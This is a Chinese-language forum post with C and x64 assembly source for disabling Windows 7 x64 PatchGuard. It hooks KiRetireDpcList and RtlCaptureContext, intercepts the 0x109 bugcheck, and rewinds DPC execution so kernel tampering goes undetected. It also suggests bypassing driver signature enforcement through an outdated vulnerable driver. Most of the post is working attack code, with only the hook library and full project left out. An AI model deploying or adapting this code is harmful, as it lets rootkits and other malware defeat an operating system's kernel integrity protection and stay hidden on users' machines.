- 注册时间
- 2021-4-16
- 最后登录
- 2023-8-13
- 在线时间
- 4 小时
编程入门
- 龙马币
- 48
|
这里我研究的问题只有Patchguard怎么让丫去死,至于DSE这种东西,随便找个过时的有任意代码执行问题的驱动(比如DCR,VBOX,金山某士)去Patch一下CI就可以了。今天我也不是来跟人分享VMX或者patch文件那些无功夫的过PG手法。
我今天要做的是继续以前老外的pg的梗(由于我的笔记本跑win8不能10秒开机,所以只能用win7来撸)。
老外有几篇关于PG攻击的文章:
http://www.mcafee.com/in/resourc ... ting-patchguard.pdf
http://www.uninformed.org/?v=3&a=3&t=sumry
http://www.uninformed.org/?v=8&a=5&t=sumry
http://www.zer0mem.sk/?p=271
不过统统不能解决真正的问题,最后一个连接除外。不过其中的分析让我们知道两件事儿,第一件事儿是PG的蓝屏是通过DPC或者TIMER调用KeBugCheckEx来的。第二件事儿是PG调用KeBugCheckEx的时候,会恢复KeBugCheckEx上的修改。
通过读老外的文章我们知道通过DPC来的必须经过KiRetireDpcList这个玩意才能到达蓝屏(而通过TIMER来的经过的函数比较奇怪,这里也不想管他)。
老外有一个思路就是hook KeBugCheckEx来处理TIMER的PG引发的0x109蓝屏,但是因为KeBugCheckEx有恢复hook的可能(新的PG是复制了BugCheck的代码),所以我选择了一个KeBugCheckEx内部的调用的函数来进行挂钩,然后通过堆栈读出RCX判断一下错误号,这个调用函数也是老外早就提供好的就是RtlCaptureContext。
到这里我都和老外的思路近似,之后后面就不一样了。我只有2个hook点,我不想判断DPC是不是PG的,也不研究线程TIMER的枚举,我直接在KiRetireDpcList这里保存运行环境(CONTEXT),然后继续调用KiRetireDpcList代码,然后保存的恢复运行环境(RIP修好)。
如果发生了0x109蓝屏,那么经过我挂钩的RtlCaptureContext时,我主动插入一个DPC到DPC链条去,然后恢复保存的CONTEXT到Call KiRetireDpcList处的去重新执行的话(也就是说,把时光倒流了),这时候PG就无法蓝屏了。但是这里有一个小问题,如果来自线程TIMER的PG蓝屏,则不能开蜘蛛的大招 回到过去 去Pass掉TIMER。不过windows的机制让我知道如果在pg的timer里的时候,IRQL应该是PASSIVE级别的,在PASSIVE级别的话,可以将整个执行流程跳入线程开始去直接运行(这点是老外的资料里发现然后结合windbg调试出来的)。
那么我绕过PG的工具设计思路就是:
- //有2个hook点!
- //RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
- // -->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
- // -->如果IRQL是PASSIVE,则CallPointer去
- // -->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
- //KiRetireDpcList -->保存环境-->原始-->还原环境
复制代码
处理PG的主逻辑核心代码:hook库请自行准备了,至于KiRetireDpcList的定位,我是用符号文件定位的,其实也可以通过注册一个DPC去做回溯得到。
- #include "stdafx.h"
-
- typedef struct _HOOK_CTX
- {
- ULONG64 rax;
- ULONG64 rcx;
- ULONG64 rdx;
- ULONG64 rbx;
- ULONG64 rbp;
- ULONG64 rsi;
- ULONG64 rdi;
- ULONG64 r8;
- ULONG64 r9;
- ULONG64 r10;
- ULONG64 r11;
- ULONG64 r12;
- ULONG64 r13;
- ULONG64 r14;
- ULONG64 r15;
- ULONG64 Rflags;
- ULONG64 rsp;
- }HOOK_CTX,*PHOOK_CTX;
-
- typedef VOID (*TRtlCaptureContext)(PCONTEXT ContextRecord);
-
- extern VOID AdjustStackCallPointer(
- IN ULONG_PTR NewStackPointer,
- IN PVOID StartAddress,
- IN PVOID Argument);
-
- extern CHAR GetCpuIndex();
- extern VOID HookKiRetireDpcList();
- extern VOID HookRtlCaptureContext();
- extern VOID BackTo1942();
- static ULONG g_ThreadContextRoutineOffset = 0;
- static ULONG64 g_KeBugCheckExAddress=0;
- static UINT g_MaxCpu=0;
-
- KDPC g_TempDpc[0x100];
- ULONG64 g_CpuContextAddress=0;
- ULONG64 g_KiRetireDpcList=0;
-
- //有2个hook点!
- //RtlCaptureContext-->保存ecx等物-->OrgCap-->ProcPatchGuard-->其他
- // -->ECX==109 ,来自BugCheck-->修复STACK,重新插入空DPC
- // -->如果IRQL是PASSIVE,则CallPointer去
- // -->不是PASSIVE,则恢复环境-->到KiRetireDpcList重新执行DPC序列
- //KiRetireDpcList -->保存环境-->原始-->还原环境
- HOOK_INFO OrgRtlCaptureContext;
- HOOK_INFO OrgKiRetireDpcList;
- //真心刁!
- VOID
- PgTempDpc(
- IN struct _KDPC *Dpc,
- IN PVOID DeferredContext,
- IN PVOID SystemArgument1,
- IN PVOID SystemArgument2
- )
- {
- return ;
- }
- VOID OnRtlCaptureContext(PHOOK_CTX hookCtx)
- {
- ULONG64 Rcx;
- PCONTEXT pCtx = (PCONTEXT)(hookCtx->rcx);
- ULONG64 Rip = *(ULONG64 *)(hookCtx->rsp);
- TRtlCaptureContext OldRtlCaptureContext;
- OldRtlCaptureContext = (TRtlCaptureContext)OrgRtlCaptureContext.Bridge;
-
- OldRtlCaptureContext(pCtx);
-
- pCtx->Rsp = hookCtx->rsp+0x08;
- pCtx->Rip = Rip;
- pCtx->Rax = hookCtx->rax;
- pCtx->Rbx = hookCtx->rbx;
- pCtx->Rcx = hookCtx->rcx;
- pCtx->Rdx = hookCtx->rdx;
- pCtx->Rsi = hookCtx->rsi;
- pCtx->Rdi = hookCtx->rdi;
- pCtx->Rbp = hookCtx->rbp;
-
- pCtx->R8 = hookCtx->r8;
- pCtx->R9 = hookCtx->r9;
- pCtx->R10 = hookCtx->r10;
- pCtx->R11 = hookCtx->r11;
- pCtx->R12 = hookCtx->r12;
- pCtx->R13 = hookCtx->r13;
- pCtx->R14 = hookCtx->r14;
- pCtx->R15 = hookCtx->r15;
-
-
- Rcx = *(ULONG64 *)(hookCtx->rsp+0x48);
- //一开始存储位置rcx=[rsp+8+30]
- //call之后就是[rsp+8+30+8]
-
- if(Rcx==0x109)
- {
- //PG的蓝屏!
- if (Rip>=g_KeBugCheckExAddress && Rip <=g_KeBugCheckExAddress+0x64)
- {
-
- //来自KeBugCheckEx的蓝屏
- // 先插入一个DPC
- //检测IRQL的级别,如果是DPC_LEVEL的,则传说中的回到过去的技术。
- //如果是普通的,则跳入ThreadContext即可
- PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
- PVOID StartRoutine = *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
- PVOID StackPointer = IoGetInitialStack();
- CHAR Cpu = GetCpuIndex();
- KeInitializeDpc(&g_TempDpc[Cpu],
- PgTempDpc,
- NULL);
- KeSetTargetProcessorDpc( &g_TempDpc[Cpu], (CCHAR)Cpu );
- //KeSetImportanceDpc( &g_TempDpc[Cpu], HighImportance);
- KeInsertQueueDpc( &g_TempDpc[Cpu], NULL, NULL );
- if(1){
- //应该判断版本再做这个事儿!
- PCHAR StackPage = (PCHAR)IoGetInitialStack();
-
- *(ULONG64 *)StackPage = (((ULONG_PTR)StackPage+0x1000) & 0x0FFFFFFFFFFFFF000);//stack起始的MagicCode,
- // 如果没有在win7以后的系统上会50蓝屏
- }
- if (KeGetCurrentIrql()!=PASSIVE_LEVEL)
- {
- //时光倒流!
- BackTo1942();//回到call KiRetireDpcList去了!
- }
- //线程TIMER的直接执行线程去!
- AdjustStackCallPointer(
- (ULONG_PTR)StackPointer - 0x8,
- StartRoutine,
- NULL);
- }
- }
- return ;
- }
- VOID JmpThreadContext()
- {
- PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
- PVOID StartRoutine = *(PVOID **)(CurrentThread + g_ThreadContextRoutineOffset);
- PVOID StackPointer = IoGetInitialStack();
-
- AdjustStackCallPointer(
- (ULONG_PTR)StackPointer - 0x8,
- StartRoutine,
- NULL);
- }
-
- VOID DisablePatchProtectionSystemThreadRoutine(
- IN PVOID Nothing)
- {
- PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
- for (g_ThreadContextRoutineOffset = 0;
- g_ThreadContextRoutineOffset < 0x1000;
- g_ThreadContextRoutineOffset += 4)
- {
- if (*(PVOID **)(CurrentThread +
- g_ThreadContextRoutineOffset) == (PVOID)DisablePatchProtectionSystemThreadRoutine)
- break;
- }
-
- if (g_ThreadContextRoutineOffset<0x1000)
- {
- g_KeBugCheckExAddress = (ULONG64)GetCALLByName(L"KeBugCheckEx");
-
- g_MaxCpu = (UINT)KeNumberProcessors;
-
- g_CpuContextAddress = (ULONG64)ExAllocatePool(NonPagedPool,0x200*g_MaxCpu+0x1000);
-
- if (!g_CpuContextAddress)
- {
- return ;
- }
-
- RtlZeroMemory(g_TempDpc,sizeof(KDPC)*0x100);
- RtlZeroMemory((PVOID)g_CpuContextAddress,0x200 * g_MaxCpu);
- HookFunction(pCfgData->_KiRetireDpcList,(ULONG_PTR)HookKiRetireDpcList,&OrgKiRetireDpcList);
-
- g_KiRetireDpcList = (ULONG64)(OrgKiRetireDpcList.Bridge);
-
- HookFunction((ULONG_PTR)GetCALLByName(L"RtlCaptureContext"),(ULONG_PTR)HookRtlCaptureContext,&OrgRtlCaptureContext);
- }
- }
-
- NTSTATUS DisablePatchProtection() {
- OBJECT_ATTRIBUTES Attributes;
- NTSTATUS Status;
- HANDLE ThreadHandle = NULL;
-
- InitializeObjectAttributes(
- &Attributes,
- NULL,
- OBJ_KERNEL_HANDLE,
- NULL,
- NULL);
-
-
- Status = PsCreateSystemThread(
- &ThreadHandle,
- THREAD_ALL_ACCESS,
- &Attributes,
- NULL,
- NULL,
- DisablePatchProtectionSystemThreadRoutine,
- NULL);
-
- if (ThreadHandle)
- ZwClose(
- ThreadHandle);
-
- return Status;
- }
- VOID InitDisablePatchGuard()
- {
- DisablePatchProtection();
- }
复制代码
汇编代码部分:
- EXTERN g_CpuContextAddress:QWORD;
- EXTERN OnRtlCaptureContext:PROC;
- EXTERN g_KiRetireDpcList:QWORD;
-
- .CODE
- public AdjustStackCallPointer
- AdjustStackCallPointer PROC
- mov rsp, rcx
- xchg r8, rcx
- jmp rdx
- AdjustStackCallPointer ENDP
-
- public GetCpuIndex
- GetCpuIndex PROC
- mov al, gs:[52h]
- movzx eax, al
- ret
- GetCpuIndex ENDP
-
-
- public RestoreCpuContext
- RestoreCpuContext PROC
- push rax
- sub rsp, 20h
- call GetCpuIndex
- add rsp, 20h
- mov r11, 170h
- mul r11
- mov r11, rax
- add r11, g_CpuContextAddress
- pop rax
- mov rsp, [r11+48h]
- mov rbx, [r11+40h]
- mov [rsp+0], rbx
- movdqa xmm0, xmmword ptr [r11+50h]
- movdqa xmm1, xmmword ptr [r11+60h]
- movdqa xmm2, xmmword ptr [r11+70h]
- movdqa xmm3, xmmword ptr [r11+80h]
- movdqa xmm4, xmmword ptr [r11+90h]
- movdqa xmm5, xmmword ptr [r11+0A0h]
- movdqa xmm6, xmmword ptr [r11+0B0h]
- movdqa xmm7, xmmword ptr [r11+0C0h]
- movdqa xmm8, xmmword ptr [r11+0D0h]
- movdqa xmm9, xmmword ptr [r11+0E0h]
- movdqa xmm10, xmmword ptr [r11+0F0h]
- movdqa xmm11, xmmword ptr [r11+100h]
- movdqa xmm12, xmmword ptr [r11+110h]
- movdqa xmm13, xmmword ptr [r11+120h]
- movdqa xmm14, xmmword ptr [r11+130h]
- movdqa xmm15, xmmword ptr [r11+140h]
- mov rbx, [r11]
- mov rsi, [r11+8]
- mov rdi, [r11+10h]
- mov rbp, [r11+18h]
- mov r12, [r11+20h]
- mov r13, [r11+28h]
- mov r14, [r11+30h]
- mov r15, [r11+38h]
- mov rcx, [r11+150h]
- mov rdx, [r11+158h]
- mov r8, [r11+160h]
- mov r9, [r11+168h]
- ret
- RestoreCpuContext ENDP
-
- public BackTo1942
- BackTo1942 PROC
- sub rsp, 20h ;时光倒流
- call GetCpuIndex
- add rsp, 20h
- mov r11, 170h
- mul r11
- mov r11, rax
- add r11, g_CpuContextAddress
- mov rax, [r11+40h]
- sub rax, 5
- mov [r11+40h], rax ; 这里直接RIP=RIP-5,也就是回到Call KiXX的5字节指令
- jmp RestoreCpuContext
- BackTo1942 ENDP
-
- public HookKiRetireDpcList
- HookKiRetireDpcList PROC
- push rcx
- push rdx
- push r8
- push r9
- sub rsp, 20h
- call GetCpuIndex
- add rsp, 20h
- pop r9
- pop r8
- pop rdx
- pop rcx
- mov r11, 170h
- mul r11
- add rax, g_CpuContextAddress ; RAX = g_CpuContext[CpuIndex]
- mov [rax], rbx
- mov [rax+8], rsi
- mov [rax+10h], rdi
- mov [rax+18h], rbp
- mov [rax+20h], r12
- mov [rax+28h], r13
- mov [rax+30h], r14
- mov [rax+38h], r15
- movdqa xmmword ptr [rax+50h], xmm0
- movdqa xmmword ptr [rax+60h], xmm1
- movdqa xmmword ptr [rax+70h], xmm2
- movdqa xmmword ptr [rax+80h], xmm3
- movdqa xmmword ptr [rax+90h], xmm4
- movdqa xmmword ptr [rax+0A0h], xmm5
- movdqa xmmword ptr [rax+0B0h], xmm6
- movdqa xmmword ptr [rax+0C0h], xmm7
- movdqa xmmword ptr [rax+0D0h], xmm8
- movdqa xmmword ptr [rax+0E0h], xmm9
- movdqa xmmword ptr [rax+0F0h], xmm10
- movdqa xmmword ptr [rax+100h], xmm11
- movdqa xmmword ptr [rax+110h], xmm12
- movdqa xmmword ptr [rax+120h], xmm13
- movdqa xmmword ptr [rax+130h], xmm14
- movdqa xmmword ptr [rax+140h], xmm15
- mov [rax+150h], rcx
- mov [rax+158h], rdx
- mov [rax+160h], r8
- mov [rax+168h], r9
- mov r11, [rsp]
- mov [rax+40h], r11
- mov r11, rsp
- mov [rax+48h], r11
- lea rax, RestoreCpuContext
- mov [rsp],rax
- jmp g_KiRetireDpcList
- HookKiRetireDpcList ENDP
-
- public HookRtlCaptureContext
- HookRtlCaptureContext PROC
- push rsp
- pushfq
- push r15
- push r14
- push r13
- push r12
- push r11
- push r10
- push r9
- push r8
- push rdi
- push rsi
- push rbp
- push rbx
- push rdx
- push rcx
- push rax
- mov rcx,rsp
- sub rsp,28h
- call OnRtlCaptureContext
- add rsp, 28h
- pop rax
- pop rcx
- pop rdx
- pop rbx
- pop rbp
- pop rsi
- pop rdi
- pop r8
- pop r9
- pop r10
- pop r11
- pop r12
- pop r13
- pop r14
- pop r15
- popfq
- pop rsp
- ret
- HookRtlCaptureContext ENDP
- END
复制代码
为了防止无意义的抄袭和不思考的代码利用者,这里就不提供完整工程了。
|
|